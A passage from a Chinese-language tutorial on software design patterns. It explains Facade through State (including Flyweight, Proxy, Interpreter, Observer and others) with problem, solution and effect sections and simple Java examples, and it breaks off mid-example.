    • 简化接口:客户端只需要与外观类交互,无需了解底层子系统的复杂性。

    • 降低耦合:外观模式将客户端与子系统解耦,使得系统的变化不会影响客户端代码。

    • 提高可维护性:由于外观模式将子系统封装起来,修改子系统的实现不会影响客户端代码,从而提高了系统的可维护性。

    • 支持松散耦合:外观模式可以帮助系统中的不同模块之间实现松散耦合,从而支持模块的独立开发和测试。


总之,外观模式通过提供一个简化的接口,将复杂的子系统封装起来,帮助提高系统的可用性、可维护性和灵活性。它在处理复杂系统的同时,使客户端代码更加清晰和易于理解。

代码示例:

// 子系统:音响
class StereoSystem {
    public void turnOn() {
        System.out.println("Stereo System is turned on");
    }

    public void turnOff() {
        System.out.println("Stereo System is turned off");
    }
}

// 子系统:投影仪
class Projector {
    public void turnOn() {
        System.out.println("Projector is turned on");
    }

    public void turnOff() {
        System.out.println("Projector is turned off");
    }
}

// 子系统:灯光控制
class LightsControl {
    public void turnOn() {
        System.out.println("Lights are turned on");
    }

    public void turnOff() {
        System.out.println("Lights are turned off");
    }
}

// 外观类:家庭影院外观
class HomeTheaterFacade {
    private StereoSystem stereo;
    private Projector projector;
    private LightsControl lights;

    public HomeTheaterFacade() {
        stereo = new StereoSystem();
        projector = new Projector();
        lights = new LightsControl();
    }

    public void watchMovie() {
        System.out.println("Getting ready to watch a movie...");
        lights.turnOff();
        projector.turnOn();
        stereo.turnOn();
    }

    public void endMovie() {
        System.out.println("Ending the movie...");
        stereo.turnOff();
        projector.turnOff();
        lights.turnOn();
    }
}

// HomeTheaterFacade充当了一个外观类,封装了音响、投影仪和灯光控制等子系统的复杂操作,以便客户端可以通过简单的调用来完成观影过程。
// 这样,客户端不需要了解各个子系统的具体操作,只需通过外观类的方法来控制整个家庭影院系统的行为。
public class FacadeExample {
    public static void main(String[] args) {
        HomeTheaterFacade homeTheater = new HomeTheaterFacade();

        // 准备观影
        homeTheater.watchMovie();

        // 结束观影
        homeTheater.endMovie();
    }
}

11. 享元模式(Flyweight)

问题

在某些情况下,一个应用程序可能需要大量相似对象,而这些对象的大部分属性是相同的。在这种情况下,创建大量相似对象会占用大量的内存和系统资源,导致系统性能下降。

解决方案

享元模式的解决方案是共享对象的状态,以减少内存和资源的消耗。它将对象分为两部分:内部状态(Intrinsic State)和外部状态(Extrinsic State)。内部状态是对象共享的部分,而外部状态是每个对象特有的部分。

享元模式通过一个享元工厂(Flyweight Factory)来管理和创建共享对象。当需要一个对象时,工厂会检查是否已经有相同内部状态的对象存在,如果存在则返回已有的对象,否则创建一个新的对象并将其添加到内部对象池中。

效果

  • 优点:享元模式可以显著减少内存消耗,因为共享对象的内部状态只有一份。这可以在需要大量相似对象的情况下节省内存。同时,由于共享对象已经存在于池中,创建时间和性能开销也会降低。

  • 权衡:享元模式引入了内部状态和外部状态的区分,这可能增加了系统的复杂性。此外,对内部状态的共享需要考虑线程安全性。

  • 限制:享元模式适用于对象的内部状态相对稳定,而外部状态会变化的情况。如果一个对象的状态完全相同,那么不需要使用享元模式。

  • 可能的后果:通过减少对象的创建和内存占用,系统性能可能会得到提升。但在一些情况下,过度使用享元模式可能会引入不必要的复杂性,因此需要根据具体情况进行权衡。

享元模式在需要大量相似对象的场景中非常有用,例如文字处理软件中的字符对象、图像处理软件中的像素对象等。它可以显著提高系统的性能和资源利用率。

代码示例:

// 享元接口
interface Shape {
    void draw(int x, int y);
}

// 具体享元类
class Circle implements Shape {
    private Color color;

    public Circle(Color color) {
        this.color = color;
    }

    @Override
    public void draw(int x, int y) {
        System.out.println("Drawing a " + color + " circle at (" + x + "," + y + ")");
    }
}

// 享元工厂类
class ShapeFactory {
    private static final Map<Color, Shape> circleMap = new HashMap<>();

    public static Shape getCircle(Color color) {
        Shape circle = circleMap.get(color);

        if (circle == null) {
            circle = new Circle(color);
            circleMap.put(color, circle);
        }

        return circle;
    }
}

// 在这个示例中,我们定义了一个Shape接口和一个具体的Circle类来表示享元对象。
// ShapeFactory类负责管理共享的对象池,并通过getCircle方法返回共享的或新创建的圆形对象。
// 在main函数中,我们随机选择不同的颜色,并使用ShapeFactory获取对应的圆形对象,然后调用draw方法绘制它们。
public class FlyweightPatternExample {
    public static void main(String[] args) {
        Color[] colors = {Color.RED, Color.GREEN, Color.BLUE, Color.YELLOW};

        for (int i = 0; i < 20; i++) {
            Color randomColor = colors[(int) (Math.random() * colors.length)];
            Shape circle = ShapeFactory.getCircle(randomColor);
            circle.draw((int) (Math.random() * 100), (int) (Math.random() * 100));
        }
    }
}

12. 代理模式(Proxy)

问题:

在某些情况下,我们希望通过一个中间代理来控制对某个对象的访问。这可能是因为原始对象的创建或访问涉及复杂的逻辑,或者我们想要在访问原始对象之前或之后执行一些操作。

解决方案:

代理模式提供了一个代理对象,它充当了原始对象的替代品,以控制对原始对象的访问。代理对象与原始对象实现相同的接口,使得客户端可以无缝地切换和使用。代理对象可以对客户端的请求进行拦截、修改或增强,然后将请求传递给原始对象。

效果:

代理模式的应用可以带来多种效果:

  • 远程代理(Remote Proxy): 代理对象可以隐藏原始对象存在于远程服务器上的事实,使得客户端可以透明地访问远程对象。这对于分布式系统非常有用。

  • 虚拟代理(Virtual Proxy): 当创建原始对象需要大量资源时,代理对象可以充当一个轻量级的替代品,延迟原始对象的实际创建和初始化,从而提高性能。

  • 保护代理(Protection Proxy): 代理对象可以控制对原始对象的访问权限,确保只有具有特定权限的客户端可以访问原始对象。

  • 缓存代理(Cache Proxy): 代理对象可以缓存原始对象的结果,以便在后续相同请求时能够直接返回缓存的结果,减少重复计算。

  • 日志记录代理(Logging Proxy): 代理对象可以在访问原始对象之前或之后记录日志,用于调试、监控或审计。

总之,代理模式允许我们在不改变原始对象的情况下,通过引入代理对象来添加额外的控制和功能。这有助于提高代码的可维护性、可扩展性和灵活性。

代码示例:

// 图像接口
interface Image {
    void display();
}

// 真实图像类
class RealImage implements Image {
    private String filename;

    public RealImage(String filename) {
        this.filename = filename;
        loadImageFromDisk();
    }

    private void loadImageFromDisk() {
        System.out.println("Loading image from disk: " + filename);
    }

    public void display() {
        System.out.println("Displaying image: " + filename);
    }
}

// 代理图像类
class ProxyImage implements Image {
    private RealImage realImage;
    private String filename;

    public ProxyImage(String filename) {
        this.filename = filename;
    }

    public void display() {
        if (realImage == null) {
            realImage = new RealImage(filename);
        }
        realImage.display();
    }
}

// 在这个示例中,Image接口定义了display方法,RealImage是实际的图像加载类,而ProxyImage是代理图像类。
// 当ProxyImage的display方法被调用时,它会在需要时创建一个RealImage实例,并调用其display方法。
public class ProxyPatternExample {
    public static void main(String[] args) {
        Image image = new ProxyImage("sample.jpg");

        // 图像未加载,直到调用display()方法
        image.display();

        // 图像已加载,无需再次创建
        image.display();
    }
}

13. 解释器模式(Interpreter)

问题

在某些情况下,你可能需要解释和处理一种特定语言或表达式。这可能涉及到解析、分析和执行这些语言或表达式,但在每个具体情况下,解释的方式都可能不同。

解决方案

解释器模式通过定义一种语言文法的表示,并提供一种解释器来解释这种语言的语句。这样,你可以将语句表示为抽象语法树,然后通过解释器逐步执行和解释这个语法树。

  • 抽象表达式(Abstract Expression):定义了一个抽象的解释方法,所有的具体表达式都需要实现这个接口。

  • 终结符表达式(Terminal Expression):实现了抽象表达式接口,用于表示语言中的终结符(最小的语法单元)。

  • 非终结符表达式(Non-terminal Expression):实现了抽象表达式接口,用于表示语言中的非终结符,通常由多个终结符和/或其他非终结符组成的组合。

  • 上下文(Context):包含了需要被解释的信息,通常包括输入的语句和解释器。

  • 解释器(Interpreter):包含了解释器模式的主要逻辑,它通过递归的方式对抽象语法树进行解释,实现了语言中各种语句的解释和执行。

效果

解释器模式的使用可以使你更容易地实现特定语言的解释和执行,尤其在处理自定义的领域特定语言(DSL)时非常有用。然而,解释器模式可能导致类的数量增加,因为每个语法规则都需要一个相应的表达式类。此外,解释器模式可能会对性能产生影响,特别是在处理复杂语法时。

总之,解释器模式适用于需要解释和处理特定语言或表达式的情况,它通过将语句表示为抽象语法树并提供解释器来执行解释。这有助于实现定制的语言处理逻辑。

代码示例:

// 表达式接口
interface Expression {
    int interpret();
}

// 数字表达式类
class NumberExpression implements Expression {
    private int value;
    
    public NumberExpression(int value) {
        this.value = value;
    }
    
    @Override
    public int interpret() {
        return value;
    }
}

// 加法表达式类
class AddExpression implements Expression {
    private Expression leftOperand;
    private Expression rightOperand;
    
    public AddExpression(Expression leftOperand, Expression rightOperand) {
        this.leftOperand = leftOperand;
        this.rightOperand = rightOperand;
    }
    
    @Override
    public int interpret() {
        return leftOperand.interpret() + rightOperand.interpret();
    }
}

// 减法表达式类
class SubtractExpression implements Expression {
    private Expression leftOperand;
    private Expression rightOperand;
    
    public SubtractExpression(Expression leftOperand, Expression rightOperand) {
        this.leftOperand = leftOperand;
        this.rightOperand = rightOperand;
    }
    
    @Override
    public int interpret() {
        return leftOperand.interpret() - rightOperand.interpret();
    }
}

// 在这个示例中,我们构建了一个简单的数学表达式解释器,用于解释并计算基本的加法和减法表达式。
// 这展示了解释器模式如何工作,将表达式解释成实际的结果。
// 在实际应用中,解释器模式可以用于更复杂的领域,如编程语言解释器或规则引擎。
public class InterpreterPatternExample {
    public static void main(String[] args) {
        // 构建表达式:2 + (3 - 1)
        Expression expression = new AddExpression(
            new NumberExpression(2),
            new SubtractExpression(
                new NumberExpression(3),
                new NumberExpression(1)
            )
        );
        
        // 解释并计算表达式的值
        int result = expression.interpret();
        System.out.println("Result: " + result); // 输出: Result: 4
    }
}

14. 模板方法模式(Template Method)

问题:

当你在设计一个类或一组类时,发现有一些算法的结构是固定的,但其中的某些步骤可能会因应用情境或子类的不同而变化。你希望将这个算法的核心结构固定下来,但留出一些灵活性来允许特定步骤的定制。

解决方案:

模板方法模式通过定义一个抽象的父类,其中包含了算法的核心结构,但某些步骤使用抽象方法或受保护的虚拟方法来表示,这些方法由子类来实现。这使得子类可以根据需要重写特定的步骤,而核心算法结构保持不变。父类中的模板方法调用这些步骤,确保算法的整体流程一致。

效果:

模板方法模式的效果包括:

  • 代码复用: 核心算法结构在父类中定义,可以被多个子类共享,避免了重复的代码。

  • 灵活性: 子类可以通过实现特定的步骤来定制算法的行为,而不需要改变算法的整体结构。

  • 可维护性: 将算法的核心结构集中在一个地方,易于维护和修改。

  • 代码一致性: 所有子类共享相同的算法模板,确保了算法的一致性。

示例:

想象你正在设计一个咖啡和茶的准备流程。虽然两者的基本步骤相似(烧水、冲泡、添加调味品等),但是每种饮料的具体步骤略有不同。你可以使用模板方法模式来创建一个饮料准备的抽象类,其中包含烧水、冲泡和倒入杯中等通用步骤,但将冲泡的细节留给子类来实现(如茶类和咖啡类)。

这样,你就能在不改变整体流程的情况下,让不同的饮料类定制它们的冲泡过程。这遵循了模板方法模式的思想,将共享的算法结构与可变的部分分离,以便实现代码的重用和灵活性。

代码示例:

// 模板类
abstract class AbstractClass {
    // 模板方法,定义算法的骨架
    public void templateMethod() {
        step1();
        step2();
        step3();
    }

    // 基本方法,子类需要实现
    abstract void step1();
    abstract void step2();
    abstract void step3();
}

// 具体子类实现
class ConcreteClass extends AbstractClass {
    @Override
    void step1() {
        System.out.println("ConcreteClass: Step 1");
    }

    @Override
    void step2() {
        System.out.println("ConcreteClass: Step 2");
    }

    @Override
    void step3() {
        System.out.println("ConcreteClass: Step 3");
    }
}

// 在上面的示例中,AbstractClass 是模板类,定义了一个包含三个步骤的模板方法 templateMethod
// 这些步骤由抽象方法 step1、step2 和 step3 构成。ConcreteClass 是具体子类,继承自 AbstractClass,它实现了基本方法来完成每个步骤的具体行为。
// 在 main 方法中,我们创建了一个 ConcreteClass 实例并调用了 templateMethod,这会按照模板的结构执行具体的步骤。
public class TemplateMethodExample {
    public static void main(String[] args) {
        AbstractClass template = new ConcreteClass();
        template.templateMethod();
    }
}

15. 责任链模式(Chain of Responsibility)

问题

在某些情况下,一个请求需要在多个对象之间传递,每个对象都可能处理该请求或将其传递给下一个对象。在这种情况下,需要避免将发送者与接收者之间的耦合,以及确定请求的处理方式。问题在于如何设计一个机制,使得多个对象都有机会处理请求,而且可以根据需要动态地改变它们之间的顺序和职责。

解决方案

责任链模式提供了一种通过一系列处理对象来处理请求的方法。每个处理对象都包含一个对下一个处理对象的引用,形成一个链式结构。当一个请求到达时,它首先被传递给链中的第一个处理对象,如果该对象不能处理该请求,它会将请求传递给下一个处理对象,依此类推,直到找到能够处理请求的对象为止。

责任链模式的解决方案包括以下关键点:

  • 定义一个抽象处理者(Handler)类,该类包含一个对下一个处理者的引用,并声明一个处理请求的方法。

  • 具体的处理者类继承自抽象处理者类,实现处理请求的方法。在该方法中,处理者可以决定是否处理请求,如果不能处理,则将请求传递给下一个处理者。

  • 客户端创建一个处理链,将处理者按照一定的顺序连接起来。

效果

责任链模式的应用可以带来多个效果:

  • 降低耦合度:发送者不需要知道哪个对象会处理请求,只需将请求发送到链的起始点。

  • 灵活性:可以根据需要动态地改变处理链中处理者的顺序,以及每个处理者的职责。

  • 可扩展性:可以很容易地添加新的处理者,而不会影响现有代码。

  • 可维护性:每个处理者关注单一的责任,使得代码更易于理解和维护。

然而,责任链模式也有一些潜在的限制,比如可能导致请求无法被处理或者处理链太长而导致性能问题。因此,在使用责任链模式时需要谨慎权衡权衡利弊。

总之,责任链模式是一种有助于将请求与处理者解耦,并支持动态调整处理顺序和职责的设计模式。

代码示例:

// 首先,我们需要创建一个表示请求的类 ReimbursementRequest
public class ReimbursementRequest {
    private double amount;
    private String description;

    public ReimbursementRequest(double amount, String description) {
        this.amount = amount;
        this.description = description;
    }

    public double getAmount() {
        return amount;
    }

    public String getDescription() {
        return description;
    }
}
// 然后,创建一个抽象处理者类 ReimbursementHandler
public abstract class ReimbursementHandler {
    protected ReimbursementHandler successor;

    public void setSuccessor(ReimbursementHandler successor) {
        this.successor = successor;
    }

    public abstract void handleRequest(ReimbursementRequest request);
}

// 接下来,实现具体的处理者类:经理、部门主管和财务部门处理者。
public class ManagerHandler extends ReimbursementHandler {
    @Override
    public void handleRequest(ReimbursementRequest request) {
        if (request.getAmount() <= 1000) {
            System.out.println("经理处理报销请求:" + request.getDescription());
        } else if (successor != null) {
            successor.handleRequest(request);
        }
    }
}

public class DepartmentHeadHandler extends ReimbursementHandler {
    @Override
    public void handleRequest(ReimbursementRequest request) {
        if (request.getAmount() <= 5000) {
            System.out.println("部门主管处理报销请求:" + request.getDescription());
        } else if (successor != null) {
            successor.handleRequest(request);
        }
    }
}

public class FinanceHandler extends ReimbursementHandler {
    @Override
    public void handleRequest(ReimbursementRequest request) {
        System.out.println("财务部门处理报销请求:" + request.getDescription());
    }
}

// 在这个示例中,报销请求会依次被经理、部门主管和财务部门处理。根据报销金额的不同,请求会被传递到适当的处理者。
public class Main {
    public static void main(String[] args) {
        ReimbursementHandler manager = new ManagerHandler();
        ReimbursementHandler departmentHead = new DepartmentHeadHandler();
        ReimbursementHandler finance = new FinanceHandler();

        manager.setSuccessor(departmentHead);
        departmentHead.setSuccessor(finance);

        ReimbursementRequest request1 = new ReimbursementRequest(800, "购买办公用品");
        ReimbursementRequest request2 = new ReimbursementRequest(3000, "参加培训");
        ReimbursementRequest request3 = new ReimbursementRequest(10000, "举办团建活动");

        manager.handleRequest(request1);
        manager.handleRequest(request2);
        manager.handleRequest(request3);
    }
}

16. 命令模式(Command)

问题

在某些情况下,你希望将请求发送者与接收者解耦,从而允许您以不同的方式组织和处理请求。例如,您可能希望将请求排队、记录、撤消或重做,而无需修改发送者和接收者之间的代码。

解决方案

命令模式提供了一种将请求封装成对象的方法,使得请求的发送者与请求的接收者之间不直接耦合。这通过引入以下角色实现:

  1. 命令(Command):抽象命令类,定义了执行命令的接口。它通常包含一个执行方法,以及可能的其他方法(例如,撤消)。

  2. 具体命令(Concrete Command):实现了抽象命令类的具体子类,将一个接收者与一个动作绑定。它实现了执行方法,该方法调用接收者的特定操作。

  3. 接收者(Receiver):执行实际工作的类。命令模式将命令传递给接收者,由接收者执行实际的操作。

  4. 调用者/请求者(Invoker):负责将命令传递给合适的接收者并触发命令的执行。它并不关心具体的命令细节。

  5. 客户端(Client):创建命令对象、接收者对象以及调用者对象,并将它们组织起来以实现特定的操作流程。

效果

命令模式的效果在于解耦命令的发送者和接收者,从而支持更灵活的代码组织。它允许您轻松地添加新的命令,排队命令,记录命令历史,甚至实现撤消和重做功能。然而,命令模式也可能引入一些复杂性,因为您需要为每个操作创建一个具体命令类。

总的来说,命令模式在需要解耦请求发送者和接收者,并支持灵活的命令处理时非常有用。它在菜单系统、GUI 操作、多级撤销等场景中得到广泛应用。

代码示例:

// 命令接口
interface Command {
    void execute();
}

// 具体命令:控制电灯打开
class LightOnCommand implements Command {
    private Light light;

    public LightOnCommand(Light light) {
        this.light = light;
    }

    @Override
    public void execute() {
        light.turnOn();
    }
}

// 具体命令:控制电灯关闭
class LightOffCommand implements Command {
    private Light light;

    public LightOffCommand(Light light) {
        this.light = light;
    }

    @Override
    public void execute() {
        light.turnOff();
    }
}

// 电灯类
class Light {
    void turnOn() {
        System.out.println("Light is on");
    }

    void turnOff() {
        System.out.println("Light is off");
    }
}

// 遥控器类
class RemoteControl {
    private Command command;

    public void setCommand(Command command) {
        this.command = command;
    }

    public void pressButton() {
        command.execute();
    }
}

// 在这个示例中,我们使用命令模式创建了两种具体的命令:打开电灯和关闭电灯。
// 遥控器可以设置不同的命令,然后按下按钮触发相应的操作。
// 这样,命令发送者(遥控器)和命令接收者(电灯)之间实现了解耦。
public class CommandPatternExample {
    public static void main(String[] args) {
        Light livingRoomLight = new Light();
        
        LightOnCommand livingRoomLightOn = new LightOnCommand(livingRoomLight);
        LightOffCommand livingRoomLightOff = new LightOffCommand(livingRoomLight);
        
        RemoteControl remote = new RemoteControl();
        
        remote.setCommand(livingRoomLightOn);
        remote.pressButton(); // 打开电灯
        
        remote.setCommand(livingRoomLightOff);
        remote.pressButton(); // 关闭电灯
    }
}

17. 迭代器模式(Iterator)

问题

在软件开发中,经常需要遍历集合(如列表、数组、树等)中的元素,但不同集合可能有不同的遍历方式,这导致在客户端代码中需要编写不同的遍历逻辑,使代码变得复杂且难以维护。此外,有时候还需要在遍历过程中支持添加、删除等操作,这可能会影响遍历的一致性和正确性。

解决方案

迭代器模式提供了一种统一的方法来遍历不同类型的集合,而无需暴露集合内部的表示细节。它包括两个主要组件:迭代器和集合。迭代器负责遍历集合并提供统一的访问接口,而集合负责实际存储元素。迭代器和集合之间的解耦使得可以独立地改变它们的实现,而不会影响到客户端代码。

效果

  • 优点:迭代器模式将遍历操作封装在迭代器中,使客户端代码更加简洁、可读,并且降低了与集合的耦合。它也提供了支持多种遍历方式的灵活性,如正向遍历、逆向遍历等。

  • 权衡:迭代器模式可能会增加一些额外的类和接口,可能会稍微增加复杂性,但从长远来看,可以提高代码的可维护性和可扩展性。

  • 限制:迭代器模式并不适用于所有情况。在一些简单的情况下,直接使用语言内置的遍历机制可能更为方便。

总之,迭代器模式提供了一种解决集合遍历问题的通用方法,使得代码更具结构和可维护性。它在各种编程语言和应用中都有广泛的应用。

代码示例:

// 定义一个可迭代的集合接口
interface IterableCollection<T> {
    Iterator<T> createIterator();
}

// 具体的集合类实现可迭代的集合接口
class ConcreteCollection<T> implements IterableCollection<T> {
    private List<T> items = new ArrayList<>();

    public void addItem(T item) {
        items.add(item);
    }

    @Override
    public Iterator<T> createIterator() {
        return new ConcreteIterator<>(items);
    }
}

// 定义迭代器接口
interface Iterator<T> {
    boolean hasNext();

    T next();
}

// 具体迭代器实现迭代器接口
class ConcreteIterator<T> implements Iterator<T> {
    private List<T> items;
    private int position = 0;

    public ConcreteIterator(List<T> items) {
        this.items = items;
    }

    @Override
    public boolean hasNext() {
        return position < items.size();
    }

    @Override
    public T next() {
        if (hasNext()) {
            T item = items.get(position);
            position++;
            return item;
        }
        throw new IndexOutOfBoundsException("No more elements");
    }
}

// 在这个示例中,我们定义了一个IterableCollection接口来表示可迭代的集合,一个具体的集合类ConcreteCollection实现了这个接口,并提供了一个用于创建迭代器的方法。
// 迭代器接口Iterator定义了hasNext和next方法,具体的迭代器类ConcreteIterator实现了这个接口,并通过内部的位置追踪来遍历集合。
public class IteratorPatternExample {
    public static void main(String[] args) {
        ConcreteCollection<String> collection = new ConcreteCollection<>();
        collection.addItem("Item 1");
        collection.addItem("Item 2");
        collection.addItem("Item 3");

        Iterator<String> iterator = collection.createIterator();
        while (iterator.hasNext()) {
            System.out.println(iterator.next());
        }
    }
}

18. 中介者模式(Mediator)

问题

在一个系统中,对象之间的通信可能会变得复杂,导致对象之间相互依赖,难以管理和维护。当对象之间的通信变得混乱时,就需要一个方法来将通信逻辑集中管理,从而减少耦合度并提高系统的可维护性。

解决方案

中介者模式引入了一个中介者对象,它负责协调和管理对象之间的通信。对象不再直接与其他对象通信,而是通过中介者来发送和接收消息。这样一来,对象只需要关注自己的职责,而不需要了解其他对象的详细信息。中介者模式的核心思想是将复杂的交互逻辑集中到一个地方,以便更好地管理和调整。

效果

  • 降低耦合度:对象之间的通信逻辑被集中在中介者中,从而降低了对象之间的直接依赖,减少了耦合度,使系统更加灵活和可维护。

  • 集中管理:所有对象的交互逻辑都集中在中介者中,使得系统的交互逻辑更加清晰可见,便于管理和修改。

  • 复用性:中介者模式将交互逻辑与对象本身的业务逻辑分离,可以更容易地复用这些交互逻辑。

  • 可扩展性:通过增加或修改中介者对象,可以相对容易地扩展系统,而不需要修改对象之间的通信逻辑。

需要注意的是,中介者模式可能会引入一个单一的中心化点,如果设计不当,可能会导致中介者对象本身变得过于复杂。因此,在使用中介者模式时,需要权衡考虑系统的复杂性和灵活性。

代码示例:

// 中介者接口
interface ChatMediator {
    void sendMessage(String message, User user);
    void addUser(User user);
}

// 具体中介者类
class ConcreteChatMediator implements ChatMediator {
    private List<User> users = new ArrayList<>();

    @Override
    public void sendMessage(String message, User user) {
        for (User u : users) {
            if (u != user) {
                u.receiveMessage(message);
            }
        }
    }

    @Override
    public void addUser(User user) {
        users.add(user);
    }
}

// 用户类
class User {
    private String name;
    private ChatMediator mediator;

    public User(String name, ChatMediator mediator) {
        this.name = name;
        this.mediator = mediator;
    }

    public void sendMessage(String message) {
        System.out.println(name + " 发送消息: " + message);
        mediator.sendMessage(message, this);
    }

    public void receiveMessage(String message) {
        System.out.println(name + " 收到消息: " + message);
    }
}

// 在这个示例中,ConcreteChatMediator 实现了 ChatMediator 接口,并管理用户列表。
// 每个用户对象在构造时都传递了中介者实例,以便用户可以使用中介者发送和接收消息。
public class MediatorPatternExample {
    public static void main(String[] args) {
        ConcreteChatMediator chatMediator = new ConcreteChatMediator();

        User user1 = new User("Alice", chatMediator);
        User user2 = new User("Bob", chatMediator);
        User user3 = new User("Charlie", chatMediator);

        chatMediator.addUser(user1);
        chatMediator.addUser(user2);
        chatMediator.addUser(user3);

        user1.sendMessage("大家好!");
        user2.sendMessage("你好,Alice!");
    }
}

19. 备忘录模式(Memento)

问题

在软件设计中,经常会遇到需要记录一个对象的内部状态,并在需要时能够回滚到先前的状态。这可能是为了实现撤销操作、历史记录功能等。

解决方案

备忘录模式通过引入“备忘录”对象,允许在不暴露对象内部结构的情况下,捕获并存储对象的状态。同时,它还提供了一种将对象恢复到之前状态的方式。备忘录模式包括以下角色:

  • Originator(发起人):这是需要被记录状态的对象。它创建一个备忘录对象,以存储当前状态,也可以从备忘录中恢复状态。

  • Memento(备忘录):备忘录对象用于存储Originator的状态。通常,备忘录对象具有与原始对象相同的接口,但不会直接暴露其内部状态。

  • Caretaker(负责人):负责管理备忘录对象。它可以存储多个备忘录对象,以便在需要时进行状态恢复。

效果

备忘录模式使得对象的状态管理更加灵活。它允许对象在不暴露其内部结构的情况下进行状态的保存和恢复。这有助于实现撤销和重做功能,以及历史记录和快照功能。然而,使用备忘录模式可能会增加一些内存开销,特别是如果需要存储大量的状态历史。

总之,备忘录模式在需要记录和恢复对象状态的情况下是一个有用的设计模式。它可以帮助保持代码的清晰性和可维护性,同时提供强大的状态管理功能。

代码示例:

// 备忘录类
class Memento {
    private String state;

    public Memento(String state) {
        this.state = state;
    }

    public String getState() {
        return state;
    }
}

// 原始对象类
class Originator {
    private String state;

    public void setState(String state) {
        this.state = state;
    }

    public String getState() {
        return state;
    }

    public Memento createMemento() {
        return new Memento(state);
    }

    public void restoreMemento(Memento memento) {
        state = memento.getState();
    }
}

// 管理者类
class Caretaker {
    private Memento memento;

    public Memento getMemento() {
        return memento;
    }

    public void setMemento(Memento memento) {
        this.memento = memento;
    }
}

// 在这个示例中,Originator 类表示原始对象,它具有状态并能够创建和恢复备忘录。
// Memento 类表示备忘录对象,保存了特定时刻的状态。Caretaker 类负责保存和获取备忘录对象。
// 通过设置初始状态、创建备忘录、修改状态、然后恢复状态,我们可以看到备忘录模式的工作方式。
public class MementoPatternExample {
    public static void main(String[] args) {
        Originator originator = new Originator();
        Caretaker caretaker = new Caretaker();

        // 设置初始状态
        originator.setState("State 1");
        System.out.println("Current State: " + originator.getState());

        // 创建备忘录并保存状态
        caretaker.setMemento(originator.createMemento());

        // 修改状态
        originator.setState("State 2");
        System.out.println("Updated State: " + originator.getState());

        // 恢复之前的状态
        originator.restoreMemento(caretaker.getMemento());
        System.out.println("Restored State: " + originator.getState());
    }
}

20. 观察者模式(Observer)

问题

在软件设计中,经常会遇到这样的情况:一个对象(主题)的状态发生改变,而其他对象(观察者)需要在状态改变时得到通知并进行相应的更新。但是,如果直接在对象之间建立硬编码的依赖关系,会导致系统的耦合度增加,难以维护和扩展。观察者模式试图解决这个问题,允许主题和观察者之间的松耦合通信。

解决方案

观察者模式的核心思想是定义一种一对多的依赖关系,使得一个主题(通常称为被观察者)可以同时维护多个观察者,并在其状态改变时自动通知所有观察者。这样,观察者无需关心主题的内部实现细节,而只需要关心主题的状态变化。在实现中,通常会定义一个抽象的主题类和一个抽象的观察者类,具体的主题和观察者类会继承这些抽象类并实现相应的方法。

效果

观察者模式的应用有以下优点:

  • 松耦合:主题和观察者之间的耦合度降低,使得它们可以独立地进行变化。

  • 可扩展性:可以方便地增加新的观察者,而不会影响到已有的观察者和主题。

  • 自动通知:主题状态改变时会自动通知观察者,减少手动维护通知的工作。

  • 可重用性:主题和观察者可以在不同的场景中重复使用。

然而,观察者模式也有一些限制和权衡:

  • 可能引起性能问题:如果观察者过多或通知机制不合理,可能会导致性能下降。

  • 更新顺序问题:观察者的更新顺序可能会影响到系统的行为,需要特别注意。

  • 过度使用的风险:并不是所有的状态变化都适合使用观察者模式,过度使用可能导致代码复杂化。

总之,观察者模式是一种用于解决对象间状态通知和更新的重要设计模式,它在许多软件系统中都有广泛的应用。

代码示例:

import java.util.ArrayList;
import java.util.List;

// 主题接口
interface Subject {
    void addObserver(Observer observer);
    void removeObserver(Observer observer);
    void notifyObservers();
}

// 具体主题类
class ConcreteSubject implements Subject {
    private List<Observer> observers = new ArrayList<>();
    private int state;

    public int getState() {
        return state;
    }

    public void setState(int state) {
        this.state = state;
        notifyObservers();
    }

    @Override
    public void addObserver(Observer observer) {
        observers.add(observer);
    }

    @Override
    public void removeObserver(Observer observer) {
        observers.remove(observer);
    }

    @Override
    public void notifyObservers() {
        for (Observer observer : observers) {
            observer.update(state);
        }
    }
}

// 观察者接口
interface Observer {
    void update(int state);
}

// 具体观察者类
class ConcreteObserver implements Observer {
    private String name;

    public ConcreteObserver(String name) {
        this.name = name;
    }

    @Override
    public void update(int state) {
        System.out.println(name + " 收到更新,新状态为: " + state);
    }
}

// 在这个示例中,ConcreteSubject 充当主题(被观察者),ConcreteObserver 充当观察者。
// 主题维护一个观察者列表,并在状态变化时通知所有观察者。
// 当主题的状态发生变化时,所有观察者都会被通知并更新自己的状态。
public class ObserverPatternExample {
    public static void main(String[] args) {
        ConcreteSubject subject = new ConcreteSubject();

        Observer observer1 = new ConcreteObserver("观察者1");
        Observer observer2 = new ConcreteObserver("观察者2");

        subject.addObserver(observer1);
        subject.addObserver(observer2);

        subject.setState(10);
        subject.setState(20);

        subject.removeObserver(observer1);

        subject.setState(30);
    }
}

21. 状态模式(State)

问题:

当一个对象的行为在不同状态下发生改变,并且对象需要根据其状态执行不同的操作时,就可以考虑使用状态模式。在这种情况下,如果直接在对象内部实现所有状态之间的切换逻辑,会导致代码变得复杂且难以维护。

解决方案:

状态模式的解决方案是将对象的状态抽象成独立的状态类,每个状态类都实现了一组特定状态下的操作。然后,上下文对象(即包含状态的对象)维护一个指向当前状态的引用,通过委托给当前状态的方法来执行操作。这种方式可以将不同状态下的行为逻辑分隔开来,使得状态变化时的代码修改更加容易。

效果:

使用状态模式可以实现以下效果:

  • 清晰的状态切换: 状态模式将每个状态的行为集中在各自的状态类中,使得状态切换的逻辑变得清晰,易于管理和修改。

  • 可维护性: 将状态相关的代码分布在不同的状态类中,使得代码更加模块化和可维护。

  • 扩展性: 添加新的状态只需要创建新的状态类并实现相关操作,不会影响到其他状态类或上下文类的代码。

  • 避免条件语句: 状态模式避免了大量的条件语句,从而提高了代码的可读性和可维护性。

  • 复用性: 状态类之间的逻辑可以被复用,因为它们是独立的实体。

总之,状态模式使得对象在不同状态下能够更加灵活地切换行为,同时保持了代码的可维护性和可扩展性。它在需要处理复杂状态逻辑的情况下特别有用。

代码示例:

// 状态接口
interface ElevatorState {
    void openDoors();
    void closeDoors();
    void move();
    void stop();
}

// 具体状态类:开门状态
class OpenState implements ElevatorState {
    @Override
    public void openDoors() {
        System.out.println("Doors are already open.");
    }

    @Override
    public void closeDoors() {
        System.out.println("Closing doors.");
    }

    @Override
    public void move() {
        System.out.println("Cannot move while doors are open.");
    }

    @Override
    public void stop() {
        System.out.println("Stopping while doors are open.");
    }
}

// 具体状态类:关门状态
class CloseState implements ElevatorState {
    @Override
    public void openDoors() {
        System.out.println("Opening doors.");
    }

    @Override
    public void closeDoors() {
